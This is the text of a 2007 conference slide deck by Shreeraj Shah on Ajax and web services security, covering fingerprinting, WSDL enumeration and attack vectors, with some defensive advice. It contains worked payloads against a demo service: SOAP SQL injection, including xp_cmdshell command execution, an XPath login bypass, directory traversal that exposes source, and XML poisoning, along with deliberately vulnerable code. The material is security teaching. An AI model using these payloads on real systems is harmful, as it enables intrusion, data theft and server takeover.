  • 7. Vectors of change • Impact of Web 2.0 is on 4 dimensions - Application Infrastructure - Security threats - Methodology - Countermeasure © Shreeraj Shah [HITB 2007 KL] Vectors of change • Application Infrastructure Changing dimension Web 1.0 Web 2.0 HTTP & HTTPS SOAP, XML-RPC, REST etc. (AI1) Protocols over HTTP & HTTPS HTML transfer XML, JSON, JS Objects etc. (AI2) Information structures Synchronous Asynchronous & Cross- (AI3) Communication Postback domains (proxy) methods Refresh and Redirect Single place information Multiple sources (Urge for (AI4) Information (No urge for integrated information sharing integration) platform) © Shreeraj Shah [HITB 2007 KL] 7
  • 8. Vectors of change • Security Threats Changing dimension Web 1.0 Web 2.0 Structured Scattered and multiple (T1) Entry points • Multiple technologies Limited (T2) Dependencies • Information sources • Protocols • Web services [Payloads] Server side [Typical (T3) Vulnerabilities • Client side [XSS & XSRF] injections] Server side exploitation Both server and client side (T4) Exploitation exploitation © Shreeraj Shah [HITB 2007 KL] Vectors of change • Methodology Changing dimension Web 1.0 Web 2.0 Typical with quot;Hostquot; and Footprinting Empowered with search DNS Discovery Simple Difficult with hidden calls Enumeration Structured Several streams Scanning Structured and simple Difficult with extensive Ajax Difficult with Ajax and web Automated attacks Easy after discovery services On the server-side Reverse engineering Client-side with Ajax & Flash [Difficult] Code reviews Focus on server-side only Client-side analysis needed © Shreeraj Shah [HITB 2007 KL] 8
  • 9. Vectors of change • Countermeasure Changing dimension Web 1.0 Web 2.0 Multiple places [Mashups & Owner of information Single place RSS] Browser security Simple DOM usage Complex DOM usage Client side [incoming Validations Server side content] Logic shift Only on server Client side shift Secure coding Structured and single place Multiple places and scattered © Shreeraj Shah [HITB 2007 KL] Ajax – Attacks, Threats & Countermeasures © Shreeraj Shah [HITB 2007 KL] 9
  • 10. Ajax basics • Asynchronous JavaScript and XML HTML / CSS Database / Resource JS / DOM XML / Middleware / Text XMLHttpRequest (XHR) Web Server Asynchronous over HTTP(S) © Shreeraj Shah [HITB 2007 KL] Ajax - Sample function loadhtml() { var http; if(window.XMLHttpRequest){ http = new XMLHttpRequest(); }else if (window.ActiveXObject){ http=new ActiveXObject(quot;Msxml2.XMLHTTPquot;); if (! http){ http=new ActiveXObject(quot;Microsoft.XMLHTTPquot;); } } http.open(quot;GETquot;, quot;main.htmlquot;, true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('main').innerHTML = response; } } http.send(null); } © Shreeraj Shah [HITB 2007 KL] 10
  • 11. Ajax attack points • Ajax components & Widgets • Cross domain vulnerable browsers and callback implementations • DOM manipulation calls and points • Insecure eval() • HTML tags • Intranet nodes and internal resources Demo © Shreeraj Shah [HITB 2007 KL] Ajax attack vectors • Entry point scanning and enumeration • Cross site scripting (XSS) attacks • Cross site Request Forgery (CSRF) issues • Client side code reverse engineering • Security control and validation bypassing • Local privacy information enumeration • Ajax framework exploitation – known bugs Demo © Shreeraj Shah [HITB 2007 KL] 11
  • 12. Ajax fingerprinting • Determining Ajax calls • Framework fingerprinting • Running with what? - Atlas - GWT - Etc. • Ajaxfinger a tool to achieve this • Can help in assessment process • RIA finger printing is possible Demo © Shreeraj Shah [HITB 2007 KL] Ajax enumeration • Identifying XHR calls • Decoding the back end calls • Information enumeration on structures - JSON - XML - JS-Objects etc. • Tools to determine Ajax calls • Valuable information – Crawlers can’t get it because hidden in JavaScript © Shreeraj Shah [HITB 2007 KL] 12
  • 13. Ajax Crawling • Crawling Ajax driven app – a challenge • Resources are hidden in JavaScript • Simple scanner will fail • Crawling with actual DOM context • Automated crawling with browser is required • How? Demo © Shreeraj Shah [HITB 2007 KL] Ajax Scanning • Scanning Ajax components • Retrieving all JS include files - Part of <SCRIPT SRC=….> • Identifying XHR calls • Grabbing function • Mapping function to DOM event • Scanning code for XSS – look for eval() and document.write() Demo © Shreeraj Shah [HITB 2007 KL] 13
  • 14. Ajax serialization issues • Ajax processing various information coming from server and third party sources. – XSS opportunities message = { from : quot;john@example.comquot;, to : quot;jerry@victim.comquot;, subject : quot;I am finequot;, body : quot;Long message herequot;, showsubject : function(){document.write(this.subject)} }; XSS © Shreeraj Shah [HITB 2007 KL] Ajax serialization issues • JSON issues {quot;bookmarksquot;:[{quot;Linkquot;:quot;www.example.comquot;,quot;D escquot;:quot;Interesting linkquot;}]} • JS – Array manipulation new Array(“Laptop”, “Thinkpad”, “T60”, “Used”, “900$”, “It is great and I have used it for 2 years”) © Shreeraj Shah [HITB 2007 KL] 14
  • 15. Ajax and JS manipulation • JavaScript exploitation – XSS • Identifying DOM points like document.write() • Eval() – another interesting point • Attack APIs and tools for exploitation • Lot can be done by an attacker from session hijacking to key loggers © Shreeraj Shah [HITB 2007 KL] Ajax and RSS injection • RSS feeds are another entry point to the browser • Injecting script to the RSS feeds and Ajax call may execute it. • One click – Malformed linked injected into it and can lead to exploit “javascript:” • Leveraging events – onClick, onMouse etc. Demo © Shreeraj Shah [HITB 2007 KL] 15
  • 16. Cross-domain calls • Browser security doesn’t support cross domain calls • But cross domain callback with JavaScript is possible • This can be lethal attack since cross domain information get executed on the current DOM context. © Shreeraj Shah [HITB 2007 KL] Defending Ajax • No business logic information on client side. • Do not trust third party source – filter it out • No direct cross domain call back • Filtering at browser level before processing information • Avoiding client side validation © Shreeraj Shah [HITB 2007 KL] 16
  • 17. Defending Ajax • No secret in Ajax calls • Proper data structure selection and frameworks • Avoid client side validation • Securing client side calls like eval() and document.write() • HTML tags filtering before serving to end client © Shreeraj Shah [HITB 2007 KL] Web Services – Attacks, Threats & Countermeasures © Shreeraj Shah [HITB 2007 KL] 17
  • 18. Web services stack Presentation Stack XML Security Stack WS-Security Discovery Stack UDDI, DISCO Access Stack WSDL,SOAP Transport Stack HTTP, HTTPS © Shreeraj Shah [HITB 2007 KL] Security! User Controlled End Client In Transit Vendor Controlled Web Services Deployment Shell Web Web Services Services HTTP POST Binaries SOAP Envelope Client Web Server 80/443 Web Web Services Services Code & Engine Components © Shreeraj Shah [HITB 2007 KL] 18
  • 19. Assessment strategies Web Services Risk Model Blackbox Whitebox Assessment Assessment Web Services Defense Controls © Shreeraj Shah [HITB 2007 KL] Risk - In transit • In transit Sniffing or Spoofing • WS-Routing security concern • Replay attacks © Shreeraj Shah [HITB 2007 KL] 19
  • 20. Risk - Web services Engine • Buffer overflow • XML parsing attacks • Spoiling Schema • Complex or Recursive structure as payload • Denial of services • Large payload © Shreeraj Shah [HITB 2007 KL] Web services Deployment - Risk • Fault code leaks • Permissions & Access issues • Poor policies • Customized error leakage • Authentication and Certification © Shreeraj Shah [HITB 2007 KL] 20
  • 21. Web services User code - Risk • Parameter tampering • WSDL probing • SQL/LDAP/XPATH/OS command injection • Virus/Spyware/Malware injection • Bruteforce • Data type mismatch • Content spoofing • Session tampering • Format string • Information leakage • Authorization © Shreeraj Shah [HITB 2007 KL] Footprinting • Objectives - Place for web services… - We may know the company name in this case? - Do we have any whois for web services? - If we answer above questions then we can have enough information on what to assess? © Shreeraj Shah [HITB 2007 KL] 21
  • 22. UDDI • Universal Description, Discovery, and Integration (UDDI) • It acts as White/Yellow/Green pages • Xmethods etc… • Information can be published and retrieved from • Gets replicated across networks over internet © Shreeraj Shah [HITB 2007 KL] UDDI • It includes - businessEntity - businessService - bindingTemplate - tModel © Shreeraj Shah [HITB 2007 KL] 22
  • 23. UDDI Find UDDI APIs businessEntity Structure tModel Structure businessService Structure bindingTemplate Structure © Shreeraj Shah [HITB 2007 KL] Web Service Discovery • After footprinting web services next step is to perform discovery. • On the basis of services found one can do so. • Finding access point for web services will point to its discovery. • Discovery is the key to the kingdom. • Once again over UDDI. © Shreeraj Shah [HITB 2007 KL] 23
  • 24. Web Service Discovery • From various keys – Service and Business one can dig access point from UBN. • This is a part of protocol and identified from XML block itself. © Shreeraj Shah [HITB 2007 KL] Web Service Search • Search in public domain • Use – Search Engines • Google & MSN – An excellent tool • Look for wsdl,asmx,jws etc. • Filetype and allinurl are best friends • Leveraging Web APIs Demo © Shreeraj Shah [HITB 2007 KL] 24
  • 25. Technology Identification • Running on which platform? • Configuration and Structures • File extensions • Path discovery • This is very useful information © Shreeraj Shah [HITB 2007 KL] Demo Application Web Services Location of WSDL © Shreeraj Shah [HITB 2007 KL] 25
  • 26. Technology Identification • Location can be obtained from UDDI as well if already published. • WSDL location [ Access Point ] http://192.168.11.2/ws/dvds4less.asmx?wsdl .asmx – indicates .Net server from MS © Shreeraj Shah [HITB 2007 KL] Technology Identification • Similarly .jws – for Java web services • /ws/ - in the path indicates web services • MS-SOAPToolkit can be identified as well C:>nc 192.168.11.2 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:48:20 GMT X-Powered-By: ASP.NET Connection: Keep-Alive Content-Length: 7565 Content-Type: text/html Set-Cookie: ASPSESSIONIDSSSRQDRC=LMMPKHNAAOFDHMIHAODOJHCO; path=/ Cache-control: private © Shreeraj Shah [HITB 2007 KL] 26
  • 27. Technology Identification • Resource header spits some information as well C:>nc 192.168.11.2 80 HEAD /ws/dvds4less.asmx HTTP/1.0 HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:50:09 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3026 © Shreeraj Shah [HITB 2007 KL] WSDL Scanning/Enumeration • What is WSDL? • What information one can enumerate from WSDL? • WSDL exposure is threat or not? © Shreeraj Shah [HITB 2007 KL] 27
  • 28. WSDL • WSDL is web services definition language • It is similar to old IDL for remote calls used in CORBA or other remote invoke methods. • It contains detail of methods • Types of I/O • Parameters of methods • It is XML document with standards. © Shreeraj Shah [HITB 2007 KL] Nodes of WSDL Data types Message Operations Types Service Access Binding © Shreeraj Shah [HITB 2007 KL] 28
  • 29. WSDL <Service> <service name=quot;dvds4lessquot;> <port name=quot;dvds4lessSoapquot; binding=quot;s0:dvds4lessSoapquot;> <soap:address location=quot;http://192.168.11.2/ws/dvds4less.asmxquot;/> </port> </service> Where the call is going to hit? It is where service is listening. © Shreeraj Shah [HITB 2007 KL] WSDL <portType> Methods one Can call <portType name=quot;dvds4lessSoapquot;> <operation name=quot;Introquot;> <input message=quot;s0:IntroSoapInquot;/> <output message=quot;s0:IntroSoapOutquot;/> </operation> <operation name=quot;getProductInfoquot;> <input message=quot;s0:getProductInfoSoapInquot;/> <output message=quot;s0:getProductInfoSoapOutquot;/> </operation> <operation name=quot;getRebatesInfoquot;> <input message=quot;s0:getRebatesInfoSoapInquot;/> <output message=quot;s0:getRebatesInfoSoapOutquot;/> </operation> </portType> © Shreeraj Shah [HITB 2007 KL] 29
  • 30. WSDL <Message> <portType name=quot;dvds4lessSoapquot;> <operation name=quot;getProductInfoquot;> <input message=quot;s0:getProductInfoSoapInquot;/> <output message=quot;s0:getProductInfoSoapOutquot;/> </operation> </portType> <message name=quot;getProductInfoSoapInquot;> <part name=quot;parametersquot; element=quot;s0:getProductInfoquot;/> </message> <message name=quot;getProductInfoSoapOutquot;> <part name=quot;parametersquot; element=quot;s0:getProductInfoResponsequot;/> </message> © Shreeraj Shah [HITB 2007 KL] WSDL <Types> <message name=quot;getProductInfoSoapInquot;> <part name=quot;parametersquot; element=quot;s0:getProductInfoquot;/> </message> <message name=quot;getProductInfoSoapOutquot;> <part name=quot;parametersquot; element=quot;s0:getProductInfoResponsequot;/> </message> <s:element name=quot;getProductInfoquot;> <s:complexType> <s:sequence> <s:element minOccurs=quot;0quot; maxOccurs=quot;1quot; name=quot;idquot; type=quot;s:stringquot;/> </s:sequence> </s:complexType> </s:element> <s:element name=quot;getProductInfoResponsequot;> <s:complexType> <s:sequence> <s:element minOccurs=quot;0quot; maxOccurs=quot;1quot; name=quot;getProductInfoResultquot; type=quot;s:stringquot;/> © Shreeraj Shah [HITB 2007 KL] 30
  • 31. WSDL Profile after Scan Methods INPUT OUTPUT Intro -No- String getProductInfo String String getRebatesInfo String String Demo © Shreeraj Shah [HITB 2007 KL] How it looks? Intro WSDL <PortType> Web Services Remote getProductInfo <Service> Code Invokes <Message> <Types> OR getRebatesInfo Class © Shreeraj Shah [HITB 2007 KL] 31
  • 32. AV 1 - XML poisoning • XML node manipulation • Attack on parsing logic - SAX - DOM • Can be lethal – DoS or breaking execution logic © Shreeraj Shah [HITB 2007 KL] XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street</Address> <Email>john@smith.com</Email> <PhoneNumber>3809922347</PhoneNumber> </ CustomerRecord> © Shreeraj Shah [HITB 2007 KL] 32
  • 33. XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName><CustomerNumber>289 001</CustomerNumber> <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street</Address> <Email>john@smith.com</Email> <PhoneNumber>3809922347</PhoneNumber> </ CustomerRecord> © Shreeraj Shah [HITB 2007 KL] XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName> <FirstName>John</FirstName> ... 100 time… <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street<Address> <Email>john@smith.com<Email> <PhoneNumber>3809922347<PhoneNumber> </ CustomerRecord> © Shreeraj Shah [HITB 2007 KL] 33
  • 34. AV 2 - Parameter tampering & Fault code leakage • Fault code of web services spit lot of information about internal workings. • This attack can fetch internal paths, database interfaces etc. • Fault code is part of SOAP envelope and this helps an attacker to make logical deduction about assets. © Shreeraj Shah [HITB 2007 KL] SOAP request SOAP Forcing Fault Code Envelope Source of Enumeration <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getRebatesInfo xmlns=quot;http://tempuri.org/quot;> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> Input to the method Method Call © Shreeraj Shah [HITB 2007 KL] 34
  • 35. SOAP response <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot;c:inetpubwwwrootrebatesabx.xyz&amp;quot;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Fault Code Path Enumeration © Shreeraj Shah [HITB 2007 KL] AV 3 - SQL injection • SQL injection can be done using SOAP traffic. • It is innovative way of identifying database interface points. • One can leverage xp_cmdshell via SOAP. • Back end database can be compromised using this attack. © Shreeraj Shah [HITB 2007 KL] 35
  • 36. SOAP request SOAP Envelope <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getProductInfo xmlns=quot;http://tempuri.org/quot;> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> Input to the method Method Call © Shreeraj Shah [HITB 2007 KL] SOAP request Product Information <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getProductInfoResponse xmlns=quot;http://tempuri.org/quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> © Shreeraj Shah [HITB 2007 KL] 36
  • 37. SOAP response <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Cannot use empty object or column names. Use a single space if necessary.</faultstring> <detail /> </soap:Fault> </soap:Body> Fault Code Indicates SQL Server Place for SQL Injection © Shreeraj Shah [HITB 2007 KL] SOAP response Popular SQL Injection <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getProductInfo xmlns=quot;http://tempuri.org/quot;> <id>1 or 1=1</id> </getProductInfo> </soap:Body> </soap:Envelope> Fault Code © Shreeraj Shah [HITB 2007 KL] 37
  • 38. SOAP request Works!! <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getProductInfoResponse xmlns=quot;http://tempuri.org/quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ /(2)Bend it like Beckham($12.99)/ /(3)Doctor Zhivago($10.99)/ /(4)A Bug's Life($13.99)/ /(5)Lagaan($12.99)/ /(6)Monsoon Wedding($10.99)/ Entire Table /(7)Lawrence of Arabia($14.99)/ Is out </getProductInfoResult> </getProductInfoResponse> </soap:Body> © Shreeraj Shah [HITB 2007 KL] SOAP response Exploiting this Vulnerability <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getProductInfo xmlns=quot;http://tempuri.org/quot;> <id>1;EXEC master..xp_cmdshell 'dir c: > c:inetpubwwwrootwsdir.txt'</id> </getProductInfo> </soap:Body> </soap:Envelope> Exploit code © Shreeraj Shah [HITB 2007 KL] 38
  • 39. SOAP request Works!! <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getProductInfoResponse xmlns=quot;http://tempuri.org/quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Looks Normal response © Shreeraj Shah [HITB 2007 KL] SOAP request But … Code got executed Looks Normal Got Admin via response cmdshell © Shreeraj Shah [HITB 2007 KL] 39
  • 40. AV 4 – XPATH injection • XPATH is new way of querying XML documents. • This attack works nicely on web services since they use XML extensively. • Developer’s loophole can be leveraged with an exploit. • XPATH query crafting is next generation attack methods. © Shreeraj Shah [HITB 2007 KL] XPATH Injection - Basics • XPATH is a language defined to find information from XML document. • As XPATH name suggests it indeed uses path to traverse through nodes of XML document and look for specific information from the document. • XPATH provides expressions like slash (/), double slash (//), dot(.), double dot (..), @, =, <, > etc. It helps in traversing through XML document. © Shreeraj Shah [HITB 2007 KL] 40
  • 41. XPATH – Vulnerable Code string fulltext = quot;quot;; string coString = quot;Provider=SQLOLEDB;Server=(local);database=order;User ID=sa;Password=mypassquot;; SqlXmlCommand co = new SqlXmlCommand(coString); co.RootTag=quot;Credentialquot;; co.CommandType = SqlXmlCommandType.Sql; co.CommandText = quot;SELECT * FROM users for xml Autoquot;; XmlReader xr = co.ExecuteXmlReader(); xr.MoveToContent(); fulltext = xr.ReadOuterXml(); XmlDocument doc = new XmlDocument(); doc.LoadXml(fulltext); string credential = quot;//users[@username='quot;+user+quot;' and @password='quot;+pass+quot;']quot;; XmlNodeList xmln = doc.SelectNodes(credential); string temp; if(xmln.Count > 0) { //True } else //false © Shreeraj Shah [HITB 2007 KL] Attacking XPATH point • //users[@username='quot;+user+quot;' and @password='quot;+pass+quot;']quot;; • XPATH parsing can be leveraged by passing following string ' or 1=1 or ''=‘ • This will always true on the first node and user can get access as who ever is first user. • //users[@username='' or 1=1 or ''='' and @password='any'] Bingo! © Shreeraj Shah [HITB 2007 KL] 41
  • 42. AV 5 – LDAP injection • LDAP authentication in place • Possible to manipulate LDAP queries • May leads to enumeration OR manipulation • Interesting attack vector • Fault code leaks LDAP interface © Shreeraj Shah [HITB 2007 KL] AV 6 – File System access • Identifying file system points • Directory traversing & Access • Leads to file access and source code exposure • Lethal if found! © Shreeraj Shah [HITB 2007 KL] 42
  • 43. SOAP request SOAP Forcing Fault Code Envelope Source of Enumeration <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getRebatesInfo xmlns=quot;http://tempuri.org/quot;> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> Input to the method Method Call © Shreeraj Shah [HITB 2007 KL] SOAP response <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot;c:inetpubwwwrootrebatesabx.xyz&amp;quot;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Fault Code Path Enumeration © Shreeraj Shah [HITB 2007 KL] 43
  • 44. SOAP request SOAP Forcing file Envelope <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getRebatesInfo xmlns=quot;http://tempuri.org/quot;> <fileinfo>../rebates.asp</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> Input to the method Method Call © Shreeraj Shah [HITB 2007 KL] SOAP request File Access to system Parameter Temparing <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?> <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot; xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot; xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;> <soap:Body> <getRebatesInfoResponse xmlns=quot;http://tempuri.org/quot;> <getRebatesInfoResult>&lt;% ' file: rebates.asp ' date: 20- AUG-03 ' desc: rebates listing ' author: nd ' client: dvds4less 'check if we have been called with a filename or without loc = request.querystring(quot;locquot;) lenloc = len(loc) if lenloc &gt; 0 then ' we have been called with a filename ' so print the rebate coupon%&gt;&lt;img ……………………. </getRebatesInfoResult> </getRebatesInfoResponse> </soap:Body> </soap:Envelope> © Shreeraj Shah [HITB 2007 KL] 44
  • 45. AV 7 – SOAP brute forcing • SOAP envelope takes user & pass accounts. • It is possible to bruteforce SOAP envelope and look for specific responses. • This is a possible attack which can get into the system. • Analyzing SOAP response is key for this set of attack. © Shreeraj Shah [HITB 2007 KL] AV 8 – Parameter overflow • Adding large buffers to XML nodes • Depending on code controls – It may fail in handling • Breaking the application • May compromise as well • Traditional buffer overflow type attacks © Shreeraj Shah [HITB 2007 KL] 45
  • 46. AV 9 – Operating System access • Point to OS • Remote command execution is possible • Either by “|” or “;” • Attack is very much possible • Leads to admin/root on the box… © Shreeraj Shah [HITB 2007 KL] AV 10 – Session hijacking • Web services can maintain sessions - [WebMethod(EnableSession=true)] • Possible to reverse engineer session • Cookie tempering is reality… • Can be compared to traditional web application session. © Shreeraj Shah [HITB 2007 KL] 46
  • 47. Other attacks • External referencing – XML schema • XSS attack • In transit attacks – replay and spoofing © Shreeraj Shah [HITB 2007 KL] Questions??? Email - shreeraj@blueinfy.com Blog - http://shreeraj.blogspot.com © Shreeraj Shah [HITB 2007 KL] 47